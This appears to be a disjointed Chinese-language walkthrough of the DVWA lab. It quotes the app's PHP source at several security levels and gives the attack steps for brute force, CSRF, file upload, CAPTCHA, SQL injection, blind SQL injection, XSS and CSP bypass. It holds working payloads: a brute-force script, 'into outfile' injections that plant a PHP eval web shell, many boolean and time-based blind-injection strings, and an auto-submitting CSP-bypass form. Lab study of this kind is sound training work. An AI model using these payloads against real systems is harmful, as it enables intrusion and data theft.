user_token = get_token(requrl,header) i=0 for line inopen("password.txt"): requrl = "http://<改成你自己机器IP!!!>/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token i = i+1 print i,'admin',line.strip(), user_token = get_token(requrl,header) if (i == 10): break
// Check the database (Check user information) $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch();
// Check to see if the user has been locked out. if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { // User locked out. Note, using this method would allow for user enumeration! //$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time();
/* print "The last login was: " . date ("h:i:s", $last_login) . "<br />"; print "The timenow is: " . date ("h:i:s", $timenow) . "<br />"; print "The timeout is: " . date ("h:i:s", $timeout) . "<br />"; */
// Check to see if enough time has passed, if it hasn't locked the account if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked<br />"; } }
// Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch();
// If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ];
// Login successful $html .= "<p>Welcome to the password protected area <em>{$user}</em></p>"; $html .= "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { $html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>"; $html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>"; }
// Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) );
// Give the user some feedback $html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); }
// Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); }
// Feedback for the end user $html .= "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake $html .= '<pre>ERROR: You have entered an invalid IP.</pre>'; } }
// Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; }
// Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source $html .= "<pre>That request didn't look correct.</pre>"; }
// Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; }
然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的.这里简单解释下跨域,我们的框架 iframe 访问的地址是 http://<dvwa靶机IP>/dvwa/vulnerabilities/csrf ,位于服务器 A 上,而我们的攻击页面位于黑客服务器 B 上,两者的域名不同,域名 B 下的所有页面都不允许主动获取域名 A 下的页面内容,除非域名 A 下的页面主动发送信息给域名 B 的页面,所以我们的攻击脚本是不可能取到改密界面中的 user_token.
// Sanitise current password input $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr );
// Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute();
// Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
// Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute();
// Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match or current password incorrect.</pre>"; } }
// Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No $html .= '<pre>Your image was not uploaded.</pre>'; } else { // Yes! $html .= "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }
// Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No $html .= '<pre>Your image was not uploaded.</pre>'; } else { // Yes! $html .= "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img );
// Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! $html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No $html .= '<pre>Your image was not uploaded.</pre>'; }
// Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }
Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA 是 Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称.但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅.
// Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key'], $_POST['g-recaptcha-response'] );
// Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user $html .= " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } }
// Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
// Feedback for the end user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching $html .= "<pre>Passwords did not match.</pre>"; $hide_form = false; }
// Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] );
// Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user $html .= " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } }
// Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "<pre><br />You have not passed the CAPTCHA.</pre>"; $hide_form = false; return; }
// Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
// Feedback for the end user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching $html .= "<pre>Passwords did not match.</pre>"; $hide_form = false; }
// Get input $pass_new = $_POST[ 'password_new' ]; $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ]; $pass_conf = stripslashes( $pass_conf ); $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ]; $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] );
// Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute();
// Do both new password match and was the current password correct? if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { // Update the database $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute();
// Feedback for the end user - success! $html .= "<pre>Password Changed.</pre>"; } else { // Feedback for the end user - failed! $html .= "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>"; $hide_form = false; } } }
直接 into outfile 一句话到根目录 1' union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\\x.php'#
由于单引号会引起闭合而导致查询失败,注意一句话中的 cmd 不能是单引号,或者整句使用双引号 1' union select 1,"<?php @eval($_POST['cmd']);?>" into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\\x.php'#
或者采用编码方式,如十六进制编码的方式 1' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\\x.php'#
// Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; }
}
// This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) ordie( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0];
// Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user $html .= '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user $html .= '<pre>User ID is MISSING from the database.</pre>'; }
可以看到,Low 级别的代码对参数 id 没有做任何检查、过滤,存在明显的 SQL 注入漏洞,同时 SQL 语句查询返回的结果只有两种,User ID exists in the database.与User ID is MISSING from the database. 因此这里是 SQL 盲注漏洞.
漏洞利用
基于布尔的盲注
判断是否存在注入,注入是字符型还是数字型
1 2 3
输入 1,显示相应用户存在 输入 1' and 1=1 # ,显示存在 输入 1' and 1=2 # ,显示不存在
说明存在字符型的 SQL 盲注.
猜解当前数据库名
想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符.
1 2 3 4
输入 1' and length(database())=1 # ,显示不存在; 输入 1' and length(database())=2 # ,显示不存在; 输入 1' and length(database())=3 # ,显示不存在; 输入 1' and length(database())=4 # ,显示存在:
说明数据库名长度为 4.
下面采用二分法猜解数据库名.
1 2 3 4 5 6 7 8 9 10 11
输入 1' and ascii(substr(database(),1,1))>97 # ,显示存在,说明数据库名的第一个字符的 ascii 值大于 97(小写字母 a 的 ascii 值);
输入 1' and ascii(substr(database(),1,1))<122 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 122(小写字母 z 的 ascii 值);
输入 1' and ascii(substr(database(),1,1))<109 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 109(小写字母 m 的 ascii 值);
输入 1' and ascii(substr(database(),1,1))<103 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 103(小写字母 g 的 ascii 值);
输入 1' and ascii(substr(database(),1,1))<100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不小于 100(小写字母 d 的 ascii 值);
输入 1' and ascii(substr(database(),1,1))>100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不大于 100(小写字母 d 的 ascii 值),所以数据库名的第一个字符的 ascii 值为 100,即小写字母 d.
重复上述步骤,就可以猜解出完整的数据库名(dvwa)了.
猜解数据库中的表名
首先猜解数据库中表的数量:
1 2 3
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
说明数据库中共有两个表
接着挨个猜解表名:
1 2 3 4 5 6 7
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
…
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为9.
1 2 3 4 5 6 7 8 9
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g.
重复上述步骤,即可猜解出两个表名(guestbook、users).
猜解表中的字段名
首先猜解表中字段的数量:
1 2 3 4 5
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在
…
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在
说明 users 表有 8 个字段.
接着挨个猜解字段名:
1 2 3 4 5
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在
…
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为7个字符长度.
采用二分法,即可猜解出所有字段名.
猜解数据
同样采用二分法. 还可以使用基于时间的盲注:
判断是否存在注入,注入是字符型还是数字型
输入 1' and sleep(2) # ,感觉到明显延迟;
输入 1 and sleep(2) # ,没有延迟;
说明存在字符型的基于时间的盲注.
猜解当前数据库名
首先猜解数据名的长度:
1 2 3 4
1' and if(length(database())=1,sleep(2),1) # 没有延迟 1' and if(length(database())=2,sleep(2),1) # 没有延迟 1' and if(length(database())=3,sleep(2),1) # 没有延迟 1' and if(length(database())=4,sleep(2),1) # 明显延迟
说明数据库名长度为4个字符.
接着采用二分法猜解数据库名:
1 2 3 4 5 6
1' and if(ascii(substr(database(),1,1))>97,sleep(2),1)# 明显延迟 … 1' and if(ascii(substr(database(),1,1))<100,sleep(2),1)# 没有延迟 1' and if(ascii(substr(database(),1,1))>100,sleep(2),1)# 没有延迟 说明数据库名的第一个字符为小写字母d. …
重复上述步骤,即可猜解出数据库名.
猜解数据库中的表名
首先猜解数据库中表的数量:
1 2 3
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(2),1)# 没有延迟
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(2),1)# 明显延迟
说明数据库中有两个表.接着挨个猜解表名:
1 2 3
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(2),1) # 没有延迟 … 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(2),1) # 明显延迟
说明第一个表名的长度为9个字符. 采用二分法即可猜解出表名.
猜解表中的字段名
首先猜解表中字段的数量:
1 2 3
1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=1,sleep(2),1)# 没有延迟 … 1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=8,sleep(2),1)# 明显延迟
说明users表中有8个字段.接着挨个猜解字段名
1 2 3
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1,sleep(2),1) # 没有延迟 … 1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7,sleep(2),1) # 明显延迟
if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo'<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo'<pre>User ID is MISSING from the database.</pre>'; }
抓包改参数 id 为 1 and length(database())=4 # ,显示存在,说明数据库名的长度为4个字符;
抓包改参数 id 为 1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # ,显示存在,说明数据中的第一个表名长度为9个字符;
抓包改参数 id 为 1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 # ,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段.
然后是基于时间的盲注
抓包改参数 id 为 1 and if(length(database())=4,sleep(5),1) # ,明显延迟,说明数据库名的长度为4个字符;
抓包改参数 id 为 1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # ,明显延迟,说明数据中的第一个表名长度为9个字符;
抓包改参数 id 为 1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) # ,明显延迟,说明uers表有8个字段.
抓包将 cookie 中参数 id 改为 1' and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包将 cookie 中参数 id 改为 1' and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # ,显示存在,说明数据中的第一个表名长度为9个字符;
抓包将 cookie 中参数 id 改为 1' and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 # ,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段.
// Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();
// Get results if( $data->rowCount() == 1 ) { // Feedback for end user echo'<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user echo'<pre>User ID is MISSING from the database.</pre>'; } } }
<?php // Is there any input? if (array_key_exists("default", $_GET) && !is_null($_GET['default'])) { # White list the allowable languages switch ($_GET['default']) { case"French": case"English": case"German": case"Spanish": # ok break; default: header("location: ?default=English"); exit; } }
<?php header("X-XSS-Protection: 0"); // Is there any input? if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) { // Feedback for end user echo'<pre>Hello ' . $_GET['name'] . '</pre>'; }
可以看到,代码直接采用 get 方式传入了 name 参数,并没有任何的过滤与检查,存在明显的 XSS 漏洞.
<?php header("X-XSS-Protection: 0"); // Is there any input? if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) { // Get input $name = str_replace('<script>', '', $_GET['name']); // Feedback for end user echo"<pre>Hello {$name}</pre>"; }
<?php header("X-XSS-Protection: 0"); // Is there any input? if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) { // Get input $name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']); // Feedback for end user echo"<pre>Hello {$name}</pre>"; }
可以看到,High 级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中 i 表示不区分大小写)不再有效.
<?php // Is there any input? if (array_key_exists("name", $_GET) && $_GET['name'] != NULL) { // Check Anti-CSRF token checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php'); // Get input $name = htmlspecialchars($_GET['name']); // Feedback for end user echo"<pre>Hello {$name}</pre>"; } // Generate Anti-CSRF token generateSessionToken();
可以看到,Impossible 级别的代码使用 htmlspecialchars 函数把预定义的字符 &、”、 ‘、<、> 转换为 HTML 实体,防止浏览器将其作为 HTML 元素.
<formaction="http://<IP地址!!!> /dvwa/vulnerabilities/csp/"id="csp"method="post"> <inputtype="text"name="include"value=""/> </form> <script> var form = document.getElementById("csp"); form[0].value="https://pastebin.com/raw/VqHmJKjr"; form.submit(); </script>
Medium
服务器端核心代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';"; header($headerCSP); // Disable XSS protections so that inline alert boxes will work header("X-XSS-Protection: 0"); # <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script> if (isset($_POST['include'])) { $page['body'] .= "\r\n " . $_POST['include'] . "\r\n"; } $page['body'] .= ' <form name="csp" method="POST"> <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p> <input size="50" type="text" name="include" value="" id="include" /> <input type="submit" value="Include" /> </form> ';
?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= " " . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"> <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p> <p>1+2+3+4+5=<span id="answer"></span></p> <input type="button" id="solve" value="Solve the sum" /> </form> <script src="source/impossible.js"></script> ';
functiondo_something(e) { for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n]; return t } setTimeout(function () { do_elsesomething("XX") }, 300);